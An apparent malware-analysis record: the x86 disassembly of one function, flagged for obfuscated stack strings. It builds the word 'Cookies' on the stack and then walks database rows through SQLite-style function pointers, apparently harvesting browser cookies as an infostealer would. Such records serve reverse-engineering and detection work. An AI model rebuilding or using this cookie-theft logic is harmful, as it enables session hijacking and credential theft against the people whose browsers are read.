Function at 0x411687
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push ebx
push esi
push edi
push 0xff
lea eax, [ebp - 0x157]
push 0
push eax
mov byte [ebp - 0x158], 0
call fcn.0041fb07
xor edx, edx
push 0x2a
push edx
lea eax, [ebp - 0x42]
push eax
mov dword [ebp - 0x58], 0x430020
mov dword [ebp - 0x54], 0x6f006f
mov dword [ebp - 0x50], 0x69006b
mov dword [ebp - 0x4c], 0x730065
mov dword [ebp - 0x48], 0xa000d
mov word [ebp - 0x44], dx
call fcn.0041fb07
mov edx, dword [ebp + 0x14]
mov ebx, dword [ebp + 8]
push 0xb
lea ecx, [ebp - 0x58]
push ecx
push edx
push ebx
call fcn.004111f7
mov esi, dword [ebp + 0xc]
push 0
push 0x13
lea edi, [esi + 0x3ec]
push edi
push ebx
call fcn.00418677
mov eax, dword [ebp + 0x10]
push edi
push eax
push ebx
call fcn.00414937
add esp, 0x44
lea ecx, [ebp - 0x158]
push edi
push ecx
call fcn.00420037
mov eax, dword [esi]
add esp, 8
cmp eax, 2
jne 0x411897
mov ecx, dword [esi + 0x3a8]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x158]
push eax
call ecx
test eax, eax
jne 0x4119dc
mov ecx, dword [ebp - 8]
push eax
lea edx, [ebp - 4]
push edx
mov edx, dword [esi + 0x3b4]
push 0xffffffffffffffff
lea eax, [esi + 0x1dc]
push eax
push ecx
call edx
test eax, eax
jne 0x41187c
mov eax, dword [ebp - 4]
mov ecx, dword [esi + 0x3ac]
push eax
call ecx
cmp eax, 0x64
jne 0x41187c
lea ecx, [ecx]
mov edx, dword [ebp - 4]
mov eax, dword [esi + 0x3b8]
push 0
push edx
call eax
mov ecx, dword [ebp - 4]
mov edx, dword [esi + 0x3b8]
push 1
push ecx
mov ebx, eax
call edx
mov ecx, dword [esi + 0x3b8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
push 2
push eax
call ecx
mov edx, dword [ebp - 4]
push 3
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 0x3b8]
push edx
call eax
mov ecx, dword [ebp - 4]
mov edx, dword [esi + 0x3b8]
push 4
push ecx
mov dword [ebp - 0xc], eax
call edx
mov ecx, dword [esi + 0x3b8]
mov edi, eax
mov eax, dword [ebp - 4]
push 5
push eax
call ecx
mov edx, dword [ebp - 4]
push 6
mov dword [ebp - 0x14], eax
mov eax, dword [esi + 0x3b8]
push edx
call eax
mov ecx, dword [ebp - 4]
mov edx, dword [esi + 0x3c0]
push 6
push ecx
mov dword [ebp + 0xc], eax
call edx
cmp byte [edi], 0
je 0x411867
mov edx, dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
test edx, edx
je 0x411829
mov dword [ecx + 0xb94], edx
mov dword [ecx + 0xb90], 1
mov edx, dword [ebp - 0x14]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 0xc]
push edx
mov edx, dword [ebp - 0x18]
push edi
push eax
mov eax, dword [ebp - 0x10]
push edx
push eax
push ebx
push esi
lea edx, [esi + 0xbec]
push edx
push ecx
call fcn.00411557
xor ecx, ecx
add esp, 0x2c
cmp dword [ebp + 0x18], ecx
je 0x411867
mov eax, dword [ebp + 8]
mov dword [eax + 0xb94], ecx
mov dword [eax + 0xb90], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [esi + 0x3ac]
push eax
call ecx
cmp eax, 0x64
je 0x411787
mov esi, dword [esi + 0x3b0]
test esi, esi
je 0x4119dc
mov edx, dword [ebp - 8]
push edx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x4119dc
mov edx, dword [esi + 0x380]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x158]
push ecx
call edx
add esp, 8
test eax, eax
jne 0x4119dc
mov edx, dword [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x38c]
push 0xffffffffffffffff
lea ecx, [esi + 0x1dc]
push ecx
push edx
call eax
add esp, 0x14
test eax, eax
jne 0x4119c9
mov ecx, dword [ebp - 4]
mov edx, dword [esi + 0x384]
push ecx
call edx
add esp, 4
cmp eax, 0x64
jne 0x4119c9
mov eax, dword [ebp - 4]
mov ecx, dword [esi + 0x390]
push 0
push eax
call ecx
mov edx, dword [ebp - 4]
mov ebx, eax
mov eax, dword [esi + 0x390]
push 1
push edx
call eax
mov ecx, dword [ebp - 4]
mov edx, dword [esi + 0x390]
push 2
push ecx
mov dword [ebp - 0x14], eax
call edx
mov ecx, dword [esi + 0x390]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push 3
push eax
call ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 0x390]
push 4
push edx
call eax
mov ecx, dword [ebp - 4]
mov edx, dword [esi + 0x390]
push 5
push ecx
mov edi, eax
call edx
mov ecx, dword [esi + 0x390]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
push 6
push eax
call ecx
mov edx, dword [ebp - 4]
mov dword [ebp + 0xc], eax
mov eax, dword [esi + 0x398]
push 6
push edx
call eax
add esp, 0x40
cmp byte [edi], 0
je 0x4119b1
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0xc]
push edx
mov edx, dword [ebp - 0x14]
push edi
push eax
push ecx
mov ecx, dword [ebp + 8]
push edx
push ebx
push esi
lea eax, [esi + 0xbec]
push eax
push ecx
call fcn.00411557
add esp, 0x2c
mov edx, dword [ebp - 4]
mov eax, dword [esi + 0x384]
push edx
call eax
add esp, 4
cmp eax, 0x64
je 0x4118fb
mov esi, dword [esi + 0x388]
test esi, esi
je 0x4119dc
mov ecx, dword [ebp - 8]
push ecx
call esi
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret